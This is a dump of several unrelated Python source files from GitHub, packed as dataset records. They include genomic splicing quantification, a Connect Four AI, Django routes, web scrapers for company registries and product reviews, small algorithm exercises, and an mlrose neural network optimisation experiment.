IN['edges'][genes_f_idx_edges[gr_idx_edges]:genes_l_idx_edges[gr_idx_edges]+1, sample_idx]\n edge_idx = IN['edge_idx'][genes_f_idx_edges[gr_idx_edges]:genes_l_idx_edges[gr_idx_edges]+1]\n\n for s_idx in range(len(sample_idx)):\n if event_type == 'exon_skip':\n cov = quantify_exon_skip(ev[i], genes[g_idx - offset], segments[:, s_idx].T, np.c_[edge_idx, edges[:, s_idx]])\n elif event_type in ['alt_3prime', 'alt_5prime']:\n cov = quantify_alt_prime(ev[i], genes[g_idx - offset], segments[:, s_idx].T, np.c_[edge_idx, edges[:, s_idx]])\n elif event_type == 'intron_retention':\n cov = quantify_intron_retention(ev[i], genes[g_idx - offset], segments[:, s_idx].T, np.c_[edge_idx, edges[:, s_idx]], seg_pos[:, s_idx].T)\n elif event_type == 'mult_exon_skip':\n cov = quantify_mult_exon_skip(ev[i], genes[g_idx - offset], segments[:, s_idx].T, np.c_[edge_idx, edges[:, s_idx]])\n elif event_type == 'mutex_exons':\n cov = quantify_mutex_exons(ev[i], genes[g_idx - offset], segments[:, s_idx].T, np.c_[edge_idx, edges[:, s_idx]])\n\n if s_idx == 0:\n counts.append(np.array([cov]))\n else:\n counts[-1] = np.r_[counts[-1], np.array([cov])]\n IN.close()\n counts = np.dstack(counts)\n\n ### re-sort by old idx\n ev = ev[old_idx]\n counts = counts[:, :, old_idx]\n\n if out_fn is not None:\n pickle.dump((ev, counts), open(out_fn, 'w'))\n\n return (ev, counts)\n\n\ndef get_event_ids(IN, event_type, event_idx, options):\n\n if options.verbose:\n print('Constructing event IDs')\n \n gene_idx = IN['gene_idx'][:].astype('int')\n gene_chr = IN['gene_chr'][:][gene_idx][event_idx]\n event_pos = IN['event_pos'][:][event_idx, :].astype('str')\n if event_type in ['exon_skip', 'mult_exon_skip']:\n tmp1 = np.c_[gene_chr, event_pos[:, [0, 1, 3, 4]]]\n tmp2 = np.c_[gene_chr, event_pos]\n elif event_type == 'intron_retention':\n tmp1 = np.c_[gene_chr, event_pos[:, [1, 2]]]\n tmp2 = np.c_[gene_chr, event_pos]\n elif event_type in ['alt_3prime', 'alt_5prime']:\n tmp1 = np.c_[gene_chr, event_pos[:, [0, 1, 6, 7]]]\n tmp2 = np.c_[gene_chr, event_pos[:, [2, 3, 4, 5]]]\n elif event_type == 'mutex_exons':\n tmp1 = np.c_[gene_chr, event_pos[:, [0, 1, 3]]]\n tmp2 = np.c_[gene_chr, event_pos[:, [0, 2, 3]]]\n else:\n raise Error('Event type %s either not known or not implemented for testing yet' % event_type)\n\n event_ids0 = np.array([':'.join(tmp1[i, :]) for i in range(tmp1.shape[0])], dtype='str')\n event_ids1 = np.array([':'.join(tmp2[i, :]) for i in range(tmp2.shape[0])], dtype='str')\n del tmp1, tmp2\n \n return [event_ids0, event_ids1]\n\n","repo_name":"ratschlab/spladder","sub_path":"spladder/alt_splice/quantify.py","file_name":"quantify.py","file_ext":"py","file_size_in_byte":24972,"program_lang":"python","lang":"en","doc_type":"code","stars":98,"dataset":"github-code","pt":"72"} +{"seq_id":"24154144054","text":"import random\nfrom utility_function import Player,save_board,make_dict_reader\ncpu = Player('CPU','O','plebe')\nmaster = Player('The Master','X','master')\ndef condition_eval(list1,conditions,player):\n big_list = []\n if player.symbol==master.symbol:\n symbol1 = cpu.symbol\n else:\n symbol1 = master.symbol\n for condition_list in conditions:\n small_list = []\n for condition in condition_list:\n x = condition[0]\n y = condition[1]\n try:\n if x<0:\n raise Exception\n if list1[x][str(y)]==player.symbol:\n #print(list1[x][str(y)])\n small_list.append('y')\n elif list1[x][str(y)]==symbol1:\n small_list = ['n','n','n']\n break\n else:\n small_list.append('n')\n except Exception as err:\n #print(err)\n small_list = ['n','n','n']\n break\n big_list.append(small_list)\n return big_list\ndef check_horizontals(list1,i,n,player):\n condition_list1 = []\n condition_list2 = []\n for r in range(1,4):\n condition_list1.append((i,n+r))\n condition_list2.append((i,n-r))\n conditions = [condition_list1,condition_list2]\n return condition_eval(list1,conditions,player)\ndef check_verticals(list1,i,n,player):\n condition_list1 = []\n for r in range(1,4):\n condition_list1.append((i-r,n))\n conditions = [condition_list1]\n return condition_eval(list1,conditions,player)\ndef check_diagonals(list1,i,n,player):\n condition_list1 = []\n condition_list2 = []\n condition_list3 = []\n condition_list4 = []\n for r in range(1,4):\n condition_list1.append((i+r,n+r))\n condition_list2.append((i+r,n-r))\n condition_list3.append((i-r,n+r))\n condition_list4.append((i-r,n-r))\n conditions = [condition_list1,condition_list2,condition_list3,condition_list4]\n return condition_eval(list1,conditions,player)\ndef connections(title,player):\n with open('./{}.csv'.format(title),'r') as board:\n list1 = make_dict_reader(board)\n bigger_list = []\n for i in range(0,6):\n for n in range(1,8):\n if list1[i][str(n)]==player.symbol:\n bigger_list+=check_horizontals(list1,i,n,player)\n bigger_list+=check_verticals(list1,i,n,player)\n bigger_list+=check_diagonals(list1,i,n,player)\n return bigger_list\ndef score(bigger_list):\n score1 = 0\n for list in bigger_list:\n count1 = list.count('y')\n if count1==1:\n score1+=1\n elif count1==2:\n score1+=2.5\n elif count1==3:\n score1+=1000\n else:\n pass\n return score1\ndef score10(bigger_list1):\n score1 = 0\n for list in bigger_list1:\n count1 = list.count('y')\n if count1==1:\n score1+=1.25\n elif count1==2:\n score1+=500\n else:\n pass\n return score1\ndef test_move(num):\n save_board('cpu_test_board')\n check = cpu.make_move(num,title='cpu_test_board')\n if not check:\n return connections('board',cpu),connections('board',master)+[['y','y','n']]\n bigger_list = connections('cpu_test_board',cpu)\n bigger_list1 = connections('cpu_test_board',master)\n return bigger_list,bigger_list1\ndef choose_move(score_dict):\n i = 1\n n = 1\n number5 = [1]\n while True:\n if i+n > 7:\n break\n if score_dict[i]>score_dict[i+n]:\n number5 = [i]\n n+=1\n elif score_dict[i]/+/', AddRatingView.as_view()),\n path('rating//-/', DeleteRatingView.as_view())\n\n]","repo_name":"jomagsm/lab_72","sub_path":"source/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"24207914556","text":"import warnings\nfrom bs4 import BeautifulSoup\nimport requests\n\nwarnings.filterwarnings(\"ignore\")\n\n'''FUNCTIONS'''\n\ndef findInn(req):\n bs = BeautifulSoup(req.text)\n temp = bs.find('div', 'code')\n if temp:\n temp_text = temp.text.split()\n return temp_text[1]\n\ndef createQuery(query):\n query_split = query.split(' ')\n query = ''\n for i in query_split:\n query += i + '+'\n query = query[:-1]\n return query\n\ndef createUrl(name):\n query = createQuery(name)\n url = 'https://spark-interfax.ru/search?Query=' + query\n return url\n\ndef createRequest(url):\n # Свой user_agent можно найти здесь https://www.whatismybrowser.com/guides/the-latest-user-agent/chrome\n #user_agent = \"Mozilla/5.0 (Macintosh; Intel Mac OS X 13_0_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36\"\n req = requests.get(url)\n return req\n\n\n'''DRIVER CODE(Test)'''\n\n# The name of company\nnames = ['Acerinox', 'Agrana', 'Agricultural bank of China', 'Air China', 'Samsung']\nfor name in names:\n url = createUrl(name)\n req = createRequest(url)\n print(findInn(req))\n","repo_name":"Mizzette/Companies-leaving-and-staying-in-Russia","sub_path":"SparkParser.py","file_name":"SparkParser.py","file_ext":"py","file_size_in_byte":1136,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"38079319019","text":"#탐 :\n#정 :\n#이 :\n#디 : \n#비 : \n#다 : \n#그 : \n\n#Code\nN = int(input());\narr = [];\nfor i in range(N):\n arr.append(input());\n\ntmp = set(arr);\narr = list(tmp);\n\narr.sort(key=lambda x:(len(x),x));\nfor i in arr:\n print(i);\n\n# 정닯률 (41%)\n# lambda 는 기본이 사전순배열이다.","repo_name":"ysk0951/algorithm","sub_path":"2022/Sort/1181.py","file_name":"1181.py","file_ext":"py","file_size_in_byte":290,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"40789894828","text":"from kfp import dsl\nfrom kubernetes.client.models import V1EnvVar, V1SecretKeySelector\n@dsl.pipeline(\n name='foo',\n description='hello world')\ndef foo_pipeline(tag: str, pull_image_policy: str):\n # any attributes can be parameterized (both serialized string or actual PipelineParam)\n op = dsl.ContainerOp(name='foo',\n image='busybox:%s' % tag,\n # pass in init_container list\n init_containers=[dsl.UserContainer('print', 'busybox:latest', command='echo \"hello\"')],\n # pass in sidecars list\n sidecars=[dsl.Sidecar('print', 'busybox:latest', command='echo \"hello\"')],\n # pass in k8s container kwargs\n container_kwargs={'env': [V1EnvVar('foo', 'bar')]},\n )\n # set `imagePullPolicy` property for `container` with `PipelineParam`\n op.container.set_image_pull_policy(pull_image_policy)\n # add sidecar with parameterized image tag\n # sidecar follows the argo sidecar swagger spec\n op.add_sidecar(dsl.Sidecar('redis', 'redis:%s' % tag).set_image_pull_policy('Always'))\n","repo_name":"tiktakdad/kubeflow_pipeline","sub_path":"iris/pipeline_test.py","file_name":"pipeline_test.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"42025575918","text":"class Solution(object):\r\n def isMatch(self, s, p):\r\n \"\"\"\r\n :type s: str\r\n :type p: str\r\n :rtype: bool\r\n \"\"\"\r\n return self.is_match(s,p)\r\n def is_match(self,s,p):\r\n \tls,lp,s0,p0,i,j = len(s),len(p),0,-1,0,0\r\n \twhile i < ls:\r\n \t\tif j= 0:\r\n \t\t\ts0+=1\r\n \t\t\ti=s0\r\n \t\t\tj=p0+1\r\n \t\t\tcontinue\r\n \t\telse:\r\n \t\t\treturn False\r\n \twhile j{ru} '\n\n output_words = output_words.rstrip()\n\n eel.show(output_words)\n\nweb_app_options = {\n \"mode\": \"chrome-app\",\n \"chromeFlags\": [\n \"--window-size=500,600\"\n ]\n}\n\neel.start(\"main.html\", options=web_app_options)","repo_name":"Yukiya025/google-hon-yaku-konnyaku-editor","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"19691727360","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Apr 8 22:44:01 2021\r\n\r\n@author: duoge\r\n\"\"\"\r\n\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.chrome.options import Options\r\nfrom bs4 import BeautifulSoup\r\nimport pandas as pd\r\nimport re\r\nimport time\r\n\r\n\r\ndef parse_page(html, data):\r\n\r\n soup = BeautifulSoup(html, features=\"html.parser\")\r\n comment_items = soup.find_all(\"div\", attrs={'class': 'comment-item'})\r\n for comment_item in comment_items:\r\n order_info = comment_item.find(\"div\", attrs={'class': 'order-info'})\r\n spans = order_info.find_all(\"span\")\r\n datetime = spans[-1].text # 评论时间\r\n color = spans[0].text # 颜色\r\n type = spans[1].text # 款式\r\n comment_star = comment_item.find('div', attrs={'class': re.compile(\"comment-star star[0-9]\")})\r\n stars = comment_star.attrs['class'][-1] # 评分\r\n comment = comment_item.find('p', attrs={'class': 'comment-con'}).text\r\n data.append([datetime, stars, color, type, comment])\r\n\r\n\r\n\r\n\r\n# 浏览器设置\r\nchrome_options = Options()\r\nchrome_options.add_argument(\"--headless\")\r\nchrome_options.add_argument(\"--disable-gpu\")\r\nuser_agent = (\r\n \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) \" +\r\n \"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36\"\r\n )\r\nchrome_options.add_argument('user-agent=%s' % user_agent)\r\nchrome_options.add_argument('blink-settings=imagesEnabled=false')\r\n\r\n\r\nbrowser = webdriver.Chrome(executable_path=\"chromedriver.exe\", options=chrome_options)\r\nbrowser.implicitly_wait(10)\r\n\r\n\r\n# 获取网页\r\nbrowser.get(\"https://item.jd.com/100014418816.html#comment\", )\r\npage_num = 177\r\ndata = []\r\nfor i in range(page_num):\r\n page = browser.page_source\r\n parse_page(page, data)\r\n # browser.find_element_by_class_name(\"ui-pager-next\").click() # 翻页\r\n element = browser.find_element_by_class_name(\"ui-pager-next\")\r\n browser.execute_script(\"arguments[0].click();\", element)\r\n print(\"第{}页已爬取完成\".format(i+1))\r\n\r\n\r\n# 导出文件\r\ncolnames = ['datetime', 'stars', 'color', 'type', 'comment']\r\ndata = pd.DataFrame(data, columns=colnames)\r\ndata.to_csv(\"comment.csv\")","repo_name":"Lovewhatyoulove/Crawlers","sub_path":"JDcommentSpyder/comment_crawler.py","file_name":"comment_crawler.py","file_ext":"py","file_size_in_byte":2178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"1182668566","text":"import asyncio\n\nimport zmq\nimport zmq.asyncio\n\nfrom bella.service import status_monitor\n\n\n@status_monitor(\"TradeBotTest\", loop=zmq.asyncio.ZMQEventLoop())\nasync def run(loop):\n URL = \"ipc:///tmp/tradebot.sock\"\n ctx = zmq.asyncio.Context()\n sock = ctx.socket(zmq.REQ)\n sock.connect(URL)\n await sock.send_json({\n \"fn\": \"sell\",\n \"kwargs\": {\n \"instrument\": \"c1905\",\n \"volume\": 11,\n \"price\": \"CP\",\n \"split_options\": {\n \"sleep_after_submit\": 5,\n \"sleep_after_cancel\": 5,\n \"split_percent\": 0.3\n }\n },\n })\n print(await sock.recv_json())\n\n await sock.send_json({\n \"fn\": \"query_position\",\n \"kwargs\": {\"instrument\": \"c1905\"},\n })\n print(await sock.recv_json())\n\n\nif __name__ == \"__main__\":\n run()\n","repo_name":"SnowWalkerJ/Bella","sub_path":"debug/test_tradebot.py","file_name":"test_tradebot.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"72"} +{"seq_id":"12538390498","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\nfrom collections import defaultdict\nclass Solution:\n def verticalOrder(self, root: TreeNode) -> List[List[int]]:\n columnTable = defaultdict(list)\n queue = deque([(root, 0),])\n\n while queue:\n node, column = queue.popleft()\n\n if node is not None:\n columnTable[column].append(node.val)\n \n queue.append((node.left, column - 1))\n queue.append((node.right, column + 1))\n \n return [columnTable[x] for x in sorted(columnTable.keys())]\n","repo_name":"liaison/LeetCode","sub_path":"python/314_binary_tree_vertical_order_traversal.py","file_name":"314_binary_tree_vertical_order_traversal.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"72"} +{"seq_id":"72073190313","text":"# Write a Python program to get execution time for a Python method\nimport time\ndef exponent(n):\n start = time.time()\n print(n**(n-1))\n end = time.time()\n return (end - start)\n\nn = 10\nprint(f\"the time taken to execution is : {exponent(n)}\")","repo_name":"JagadeeshVarri/learnPython","sub_path":"Basics/prob_57.py","file_name":"prob_57.py","file_ext":"py","file_size_in_byte":251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"33711458511","text":"import mlrose\nimport timeit\nimport matplotlib\nimport numpy as np\nimport pandas as pd\nfrom sklearn.metrics import accuracy_score, f1_score, precision_score, recall_score, confusion_matrix\nimport datetime\nimport matplotlib.pyplot as plt\nmatplotlib.use('TkAgg')\n\nhidden_nodes = [150] #found from Assignment 1 and confirmed by exhaustive NN gridsearch\n# =====================\n# ### Data loading ###\n# =====================\n\n# STEP 1: Download the Contraceptives Dataset from my Github into the same folder as this code.\n# You can also get the data here: https://www.openml.org/d/23 (download as CSV)\n\n# open and create a pandas dataframe\ncontra_df = pd.read_csv('ContraceptivesMethodsData.csv', na_values=\"?\")\ncontra_df.apply(pd.to_numeric)\n\n# Check the frame (first 5 rows) to ensure all the columns are there\ncontra_df.head()\ncontra_df.describe(include='all')\nprint(\"Contraceptives Methods dataset size: \",len(contra_df),\"instances and\", len(contra_df.columns) - 1,\"features.\")\n\n# STEP 2: Now we need to clean up the data for more effective downstream processing / learning\n# (1) for any non-ordinal numerical data, we will one hot encode based on the principle researched here:\n# https://machinelearningmastery.com/why-one-hot-encode-data-in-machine-learning/\n# (2) we will move the results column to be the first column for simplicity\n\n# ## Cleaning up Contraceptives data\n# (2A) one-hot encode the columns where numerical categories are not ordinal\ncol_to_one_hot = ['Wifes_religion', 'Wifes_now_working%3F', 'Husbands_occupation', 'Media_exposure']\ndf_one_hot = contra_df[col_to_one_hot]\ndf_one_hot = pd.get_dummies(df_one_hot) # converts series to dummy codes\ndf_remaining_cols = contra_df.drop(col_to_one_hot, axis=1) # the rest of the dataframe is maintained\ncontra_df = pd.concat([df_one_hot, df_remaining_cols], axis=1)\n\n# (2B) move results (output) column to the front for consistency\ncolumn_order = list(contra_df)\ncolumn_order.insert(0, column_order.pop(column_order.index('Contraceptive_method_used')))\ncontra_df = contra_df.loc[:, column_order] # move the target variable to the front for consistency\n\n# (2C) Prove that we didn't mess it up\ncontra_df.describe(include='all') # see the changes\n\n# (2D) Grab the classes from the y-data (which look like numbers but actually have more semantic meaning to be used later.\ncontra_targets = ['No-use', \"Long-term\", \"Short-term\"]\n\n\n#================================#\n# ======= Helper Functions ======#\n#================================#\ndef import_data(df1):\n X1 = np.array(df1.values[:,1:]) # get all rows, and all columns after the first (y) column\n Y1 = np.array(df1.values[:,0]) # get all rows and just the first (index = 0) column of ys\n features = df1.columns.values[1:]\n return X1, Y1, features\n\n# ===== Data Pre-Processing =====#\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.model_selection import train_test_split\n\n# get the data and segment into training and testing\ntestSize = 0.25 # default is 0.25, manually tune if interesting\n\n# Pull the data from the dataframe\nX_contra, y_contra, contra_features = import_data(contra_df)\n\n# One hot encode target values\nfrom sklearn.preprocessing import OneHotEncoder\none_hot = OneHotEncoder(categories='auto')\ny_hot_contra = one_hot.fit_transform(y_contra.reshape(-1, 1)).todense()\n\n# split the data into train and test sets\nX_train_contra, X_test_contra, y_hot_train_contra, y_hot_test_contra = train_test_split(np.array(X_contra), np.array(y_hot_contra), test_size=testSize, random_state=17)\n\n# We need to scale both datasets for Neural Network to perform well.\n# Note that the training will be done on the rebalanced/resampled training dataset\n# But evaluation will be done on the original holdout test set with NO resampling.\ncontra_scaler = StandardScaler()\nX_train_contra = contra_scaler.fit_transform(X_train_contra)\nX_test_contra = contra_scaler.transform(X_test_contra)\n\ndef build_model(algorithm, hidden_nodes, activation, schedule=mlrose.GeomDecay(init_temp=5000), restarts=75,\n population=300, mutation=0.2, max_iters=20000, learning_rate=0.01):\n nn_model = mlrose.neural.NeuralNetwork(hidden_nodes=hidden_nodes, activation=activation,\n algorithm=algorithm, max_iters=max_iters,\n bias=True, is_classifier=True, learning_rate=learning_rate,\n early_stopping=False, restarts = restarts, clip_max=1,\n schedule=schedule,\n max_attempts=1000, pop_size=population, mutation_prob=mutation,\n random_state=17, curve=True)\n return nn_model\n\nfrom sklearn.model_selection import cross_validate\nimport warnings\ndef plot_learning_curve(estimator, search_algo, dataset, X_train, y_train, cv=5):\n \"\"\"\n Generate a simple plot of the test and training learning curve.\n\n Parameters\n ----------\n estimator : object type that implements the \"fit\" and \"predict\" methods\n An object of that type which is cloned for each validation.\n\n search_algo : string\n Type of search algorithm, goes into the title for the chart.\n\n dataset : string\n Name of dataset, goes into the title for the chart.\n\n X : array-like, shape (n_samples, n_features)\n Training vector, where n_samples is the number of samples and\n n_features is the number of features.\n\n y : array-like, shape (n_samples) or (n_samples, n_features), optional\n Target relative to X for classification or regression;\n\n cv : int, cross-validation generator or an iterable, optional. Default: 5\n\n train_sizes : array-like, shape (n_ticks,), dtype float or int\n Relative or absolute numbers of training examples that will be used to\n generate the learning curve. (default: np.linspace(0.1, 1.0, 5))\n\n Adapted from: https://scikit-learn.org/stable/auto_examples/model_selection/plot_learning_curve.html\n \"\"\"\n warnings.filterwarnings('ignore', 'F-score is ill-defined.*')\n\n #Provision empty arrays to fill\n train_scores_mean = []; train_scores_std = []\n test_scores_mean = []; test_scores_std = []\n train_time_mean = []; train_time_std = []\n test_time_mean =[]; test_time_std = []\n\n train_sizes = (np.linspace(.25, 1.0, cv) * len(y_train)).astype('int')\n for size in train_sizes:\n index = np.random.randint(X_train.shape[0], size = size)\n y_slice = y_train[index]\n X_slice = X_train[index,:]\n cv_results = cross_validate(estimator, X_slice, y_slice, cv=cv, scoring='f1_weighted', return_train_score=True, n_jobs=-1)\n\n # Fill out out data arrays with actual results from the cross validator\n train_scores_mean.append(np.mean(cv_results['train_score'])); train_scores_std.append(np.std(cv_results['train_score']))\n test_scores_mean.append(np.mean(cv_results['test_score'])); test_scores_std.append(np.std(cv_results['test_score']))\n train_time_mean.append(np.mean(cv_results['fit_time'])); train_time_std.append(np.std(cv_results['fit_time']))\n test_time_mean.append(np.mean(cv_results['score_time'])); test_time_std.append(np.std(cv_results['score_time']))\n\n # Convert arrays to numpy arrays for later math operations\n train_scores_mean = np.array(train_scores_mean); train_scores_std = np.array(train_scores_std)\n test_scores_mean = np.array(test_scores_mean); test_scores_std = np.array(test_scores_std)\n train_time_mean = np.array(train_time_mean); train_time_std = np.array(train_time_std)\n test_time_mean = np.array(test_time_mean); test_time_std = np.array(test_time_std)\n\n fig, (ax1, ax2) = plt.subplots(1, 2, figsize=(15, 5))\n fig.suptitle(search_algo + \" Learning Curves for: \" + dataset)\n ax1.set(xlabel=\"Number of Training Examples\", ylabel=\"Model F1 Score\")\n\n # Set up the first learning curve: F1 score (y) vs training size (X):\n ax1.grid()\n ax1.fill_between(train_sizes, train_scores_mean - train_scores_std,\n train_scores_mean + train_scores_std, alpha=0.1,\n color=\"r\")\n ax1.fill_between(train_sizes, test_scores_mean - test_scores_std,\n test_scores_mean + test_scores_std, alpha=0.1, color=\"g\")\n ax1.plot(train_sizes, train_scores_mean, 'o-', color=\"r\",\n label=\"Training score\")\n ax1.plot(train_sizes, test_scores_mean, 'o-', color=\"g\",\n label=\"Cross-validation testing score\")\n ax1.legend(loc=\"best\")\n\n # Set up the second learning curve: Time (y) vs training size (X):\n ax2.set(xlabel=\"Number of Training Examples\", ylabel=\"Model Time, in seconds\")\n ax2.grid()\n ax2.fill_between(train_sizes, train_time_mean - train_time_std,\n train_time_mean + train_time_std, alpha=0.1,\n color=\"r\")\n ax2.fill_between(train_sizes, test_time_mean - test_time_std,\n test_time_mean + test_time_std, alpha=0.1, color=\"g\")\n ax2.plot(train_sizes, train_time_mean, 'o-', color=\"r\",\n label=\"Training Time (s)\")\n ax2.plot(train_sizes, test_time_mean, 'o-', color=\"g\",\n label=\"Prediction Time (s)\")\n ax2.legend(loc=\"best\")\n\n # show the plots!\n plt.show()\n\n return train_sizes, train_scores_mean, train_time_mean, test_time_mean\n\n\ndef evaluate_model(nn_model, search_algo, X_train, X_test, y_train, y_test, class_names, feature_names):\n # Training time\n start_time = timeit.default_timer()\n nn_model.fit(X=X_train, y=y_train)\n end_time = timeit.default_timer()\n training_time = (end_time - start_time) # seconds\n nn_fitness_curve = nn_model.fitness_curve\n df1 = pd.DataFrame(y_test)\n df1.to_csv('df_y_test.csv', index=False)\n\n # Prediction Time\n start_time = timeit.default_timer()\n y_pred = nn_model.predict(X_test)\n end_time = timeit.default_timer()\n pred_time = (end_time - start_time) # seconds\n df2 = pd.DataFrame(y_pred)\n df2.to_csv('df_y_pred.csv', index=False)\n\n # Distribution of Predictions\n decoded = []\n for i in range(0, len(y_pred)):\n if tuple(y_pred[i]) == (1,0,0):\n decoded.insert(i, class_names[0])\n elif tuple(y_pred[i]) == (0,1,0):\n decoded.insert(i, class_names[1])\n elif tuple(y_pred[i]) == (0,0,1):\n decoded.insert(i, class_names[2])\n\n unique, counts = np.unique(decoded, return_counts=True)\n res_classes = dict(zip(unique, counts))\n fig, ax = plt.subplots()\n plt.bar(*zip(*res_classes.items()))\n plt.xticks((0, 1, 2), labels=class_names)\n ax.title.set_text(\"Distribution of Predictions, over all Classes\")\n plt.show()\n\n# Standard Metrics\n f1 = f1_score(y_test, y_pred, average='weighted', labels=np.unique(y_test)) # Use average = 'micro', 'macro' or 'weighted' since we have non-binary classes. Don't count classes that are never predicted.\n accuracy = accuracy_score(y_test, y_pred)\n precision = precision_score(y_test, y_pred, average='weighted', labels=np.unique(y_test))\n recall = recall_score(y_test, y_pred, average='weighted', labels=np.unique(y_test))\n\n print(\"Metrics for the Candidate Neural Network using the %s Search Algorithm\" %(search_algo))\n print(\"Model Training Time (ms): \" + \"{:.3f}\".format(training_time))\n print(\"Model Prediction Time (ms): \" + \"{:.3f}\\n\".format(pred_time))\n print(\"F1 Score: \" + \"{:.2f}\".format(f1))\n print(\"Accuracy: \" + \"{:.2f}\".format(accuracy))\n print(\"Precision: \" + \"{:.2f}\".format(precision))\n print(\"Recall: \" + \"{:.2f}\".format(recall))\n return \"{0:.2f}\".format(f1), \"{0:.2f}\".format(accuracy), \"{0:.2f}\".format(precision), \"{0:.2f}\".format(recall), \"{:.1f}\".format(training_time), \"{:.1f}\".format(pred_time), nn_fitness_curve\n\n\n# Gradient Descent\ntime = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M\")\nprint(\"Starting Gradient Descent Learning Curves at: \" + time)\nnn_gd_model = build_model(algorithm='gradient_descent', hidden_nodes=hidden_nodes, activation='relu',\n max_iters=5000, learning_rate=0.001)\n\ngd_contra_train_sizes, gd_contra_train_scores_mean, gd_contra_train_time_mean, gd_contra_test_time_mean = \\\n plot_learning_curve(estimator=nn_gd_model, search_algo='Gradient Descent', dataset=\"Contraceptive Methods\", X_train=X_train_contra, y_train=y_hot_train_contra, cv=3)\n\ntime = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M\")\nprint(\"Starting Gradient Descent Model Evaluation at: \" + time)\ngd_nn_test_f1, gd_nn_test_acc, gd_nn_test_precision, gd_nn_test_recall, gd_nn_train_time, rhc_nn_test_time, nn_gd_fitness = \\\n evaluate_model(nn_model=nn_gd_model, search_algo='Gradient Descent', X_train=X_train_contra, X_test=X_test_contra, y_train=y_hot_train_contra,\n y_test=y_hot_test_contra, class_names=contra_targets, feature_names=contra_features)\n\ndf3 = pd.DataFrame(nn_gd_fitness)\ndf3.to_csv('df_gd_fitness.csv', index=False)\n\n# Random Hill Climbing\ntime = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M\")\nprint(\"Starting Random Hill Climbing Learning Curves at: \" + time)\nnn_rhc_model = build_model(algorithm='random_hill_climb', hidden_nodes=hidden_nodes, activation='relu',\n restarts=75, max_iters=10000, learning_rate=0.001)\n\nrhc_contra_train_sizes, rhc_contra_train_scores_mean, rhc_contra_train_time_mean, rhc_contra_test_time_mean = \\\n plot_learning_curve(estimator=nn_rhc_model, search_algo='RHC', dataset=\"Contraceptive Methods\", X_train=X_train_contra, y_train=y_hot_train_contra, cv=3)\n\ntime = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M\")\nprint(\"Starting Random Hill Climbing Model Evaluation at: \" + time)\nrhc_nn_test_f1, rhc_nn_test_acc, rhc_nn_test_precision, rhc_nn_test_recall, rhc_nn_train_time, rhc_nn_test_time, nn_rhc_fitness = \\\n evaluate_model(nn_model=nn_rhc_model, search_algo='RHC', X_train=X_train_contra, X_test=X_test_contra, y_train=y_hot_train_contra,\n y_test=y_hot_test_contra, class_names=contra_targets, feature_names=contra_features)\n\ndf4 = pd.DataFrame(nn_rhc_fitness)\ndf4.to_csv('df_rhc_fitness.csv', index=False)\n\n# Genetic Algorithms\ntime = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M\")\nprint(\"Starting Genetic Algorithms Learning Curves at: \" + time)\nnn_ga_model = build_model(algorithm='genetic_alg', hidden_nodes=hidden_nodes, activation='relu',\n population=300, mutation=0.2, max_iters=5000, learning_rate=0.001)\n\nga_contra_train_sizes, ga_contra_train_scores_mean, ga_contra_train_time_mean, ga_contra_test_time_mean = \\\n plot_learning_curve(estimator=nn_ga_model, search_algo='GA', dataset=\"Contraceptive Methods\", X_train=X_train_contra, y_train=y_hot_train_contra, cv=3)\n\ntime = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M\")\nprint(\"Starting Genetic Algorithms Model Evaluation at: \" + time)\nga_nn_test_f1, ga_nn_test_acc, ga_nn_test_precision, ga_nn_test_recall, ga_nn_train_time, ga_nn_test_time, nn_ga_fitness = \\\n evaluate_model(nn_model=nn_ga_model, search_algo='GA', X_train=X_train_contra, X_test=X_test_contra, y_train=y_hot_train_contra,\n y_test=y_hot_test_contra, class_names=contra_targets, feature_names=contra_features)\n\ndf5 = pd.DataFrame(nn_ga_fitness)\ndf5.to_csv('df_ga_fitness.csv', index=False)\n\n# Simulated Annealing\ntime = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M\")\nprint(\"Starting Simulated Annealing Learning Curves at: \" + time)\nnn_sa_model = build_model(algorithm='simulated_annealing', hidden_nodes=hidden_nodes, activation='relu',\n schedule=mlrose.algorithms.decay.ArithDecay(init_temp=5000),\n max_iters=10000, learning_rate=0.001)\n\nsa_contra_train_sizes, sa_contra_train_scores_mean, sa_contra_train_time_mean, sa_contra_test_time_mean = \\\n plot_learning_curve(estimator=nn_sa_model, search_algo='SA', dataset=\"Contraceptive Methods\", X_train=X_train_contra, y_train=y_hot_train_contra, cv=3)\n\ntime = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M\")\nprint(\"Starting Simulated Annealing Model Evaluation at: \" + time)\nsa_nn_test_f1, sa_nn_test_acc, sa_nn_test_precision, sa_nn_test_recall, sa_nn_train_time, sa_nn_test_time, 